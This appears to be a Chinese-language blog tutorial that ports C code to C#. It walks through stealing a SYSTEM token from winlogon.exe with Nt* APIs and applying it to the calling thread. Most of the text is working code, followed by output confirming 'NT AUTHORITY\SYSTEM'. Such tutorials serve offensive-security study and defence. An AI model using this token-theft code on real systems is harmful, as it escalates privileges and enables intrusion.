介绍
Grzegorz Tworek 最近发布了一些 C 代码,演示了如何从进程中窃取和模拟 Windows 令牌。标准的方法是使用 OpenProcess、OpenProcessToken、DuplicateTokenEx 和 ImpersonateLoggedOnUser API。Grzegorz 展示了如何使用 Nt* API 实现相同的功能,具体是 NtOpenProcess、NtOpenProcessToken、NtDuplicateToken 和 NtSetInformationThread。

因为我是一个 C# 爱好者,我移植了他的部分代码。这篇文章将作为一个简短的演练,说明如何通过窃取和模拟 SYSTEM 进程的令牌来 ” 获取系统权限 ”。高级步骤如下:
- 1. 获取目标进程的句柄。
- 2. 获取该目标进程令牌的句柄。
- 3. 复制目标进程的令牌。
- 4. 将复制的令牌应用到我们的调用线程。
- 5. 关闭所有获取的句柄。
NtOpenProcess
一个常见的目标进程是 Windows 登录应用程序 winlogon.exe
。
// 查找 winlogon 进程
// 如果多个用户已登录,可能有多个进程
using var winlogon = Process.GetProcessesByName("winlogon").First();
HANDLE hProcess;
var oa = new OBJECT_ATTRIBUTES();
var cid = new CLIENT_ID
{
UniqueProcess = new HANDLE((IntPtr)winlogon.Id)
};
// 打开 winlogon 的句柄
NtOpenProcess(
&hProcess,
PROCESS_QUERY_LIMITED_INFORMATION,
&oa,
&cid);
NtOpenProcessToken
使用进程句柄获取进程的线程令牌。
HANDLE hToken;
// 打开 winlogon 进程令牌的句柄
NtOpenProcessToken(
hProcess,
TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE,
&hToken);
NtDuplicationToken
在能够复制令牌之前,创建一个新的 SECURITY_QUALITY_OF_SERVICE
结构体。
var qos = new SECURITY_QUALITY_OF_SERVICE
{
Length = (uint)Marshal.SizeOf<SECURITY_QUALITY_OF_SERVICE>(),
ImpersonationLevel = SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
ContextTrackingMode = 1, // SECURITY_DYNAMIC_TRACKING
EffectiveOnly = false
};
以及一个指向 SECURITY_QUALITY_OF_SERVICE
的新 OBJECT_ATTRIBUTES
结构体。
oa = new OBJECT_ATTRIBUTES
{
Length = (uint)Marshal.SizeOf<OBJECT_ATTRIBUTES>(),
SecurityQualityOfService = &qos
};
现在复制令牌。
HANDLE hDupToken;
NtDuplicateToken(
hToken,
MAXIMUM_ALLOWED,
&oa,
SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
TOKEN_TYPE.TokenImpersonation,
&hDupToken);
NtSetInformationThread
一旦令牌被复制,将其应用到我们自己进程的线程。注意 -2
或 0xfffffffffffffffe
是一个伪句柄。
var hCallingThread = new HANDLE((IntPtr)(-2));
// 设置当前线程
NtSetInformationThread(
hCallingThread,
THREAD_INFORMATION_CLASS.ThreadImpersonationToken,
&hDupToken,
(uint)Marshal.SizeOf<HANDLE>());
GetTokenInformation
我们可以进一步验证令牌是否已应用,通过在我们自己的进程上调用 NtOpenThreadToken
来获取其线程令牌的句柄。这可以传递给 GetTokenInformation
,指定 TokenUser
信息类。这将返回一个 TOKEN_USER
结构体,其中包含指向令牌用户 SID 的指针。
HANDLE hThreadToken;
NtOpenThreadToken(
hCallingThread,
TOKEN_QUERY,
false,
&hThreadToken);
uint returnLength;
GetTokenInformation(
hThreadToken,
TOKEN_INFORMATION_CLASS.TokenUser,
null,
0,
&returnLength);
// 分配缓冲区
var buffer = Marshal.AllocHGlobal((int)returnLength);
GetTokenInformation(
hThreadToken,
TOKEN_INFORMATION_CLASS.TokenUser,
buffer.ToPointer(),
returnLength,
&returnLength);
// 读取令牌用户
var lpTokenUser = (TOKEN_USER*)buffer.ToPointer();
// 转换为 nt 账户
var identity = new SecurityIdentifier((IntPtr)lpTokenUser->User.Sid.Value)
.Translate(typeof(NTAccount));
// 释放缓冲区
Marshal.FreeHGlobal(buffer);
Console.WriteLine($"Thread token: {identity.Value}");
这会打印:
Thread token: NT AUTHORITY\SYSTEM
清理
只需关闭句柄。
NtClose(hProcess);
NtClose(hToken);
NtClose(hDupToken);
结论
Grzegorz 通过调用 NtAdjustPrivilegesToken
来确保在当前进程中启用某些权限,进行了更详细的说明。我跳过了这一步,因为我假设在高完整性进程中运行时,它们默认已经启用。我当然鼓励你阅读 Grzegorz 的原始代码:https://github.com/gtworek/PSBits/blob/master/Misc/TokenStealWithSyscalls.c
。
这篇文章中使用的所有方法、结构体和枚举等都可以在 GitBook pinvoke.dev 上找到。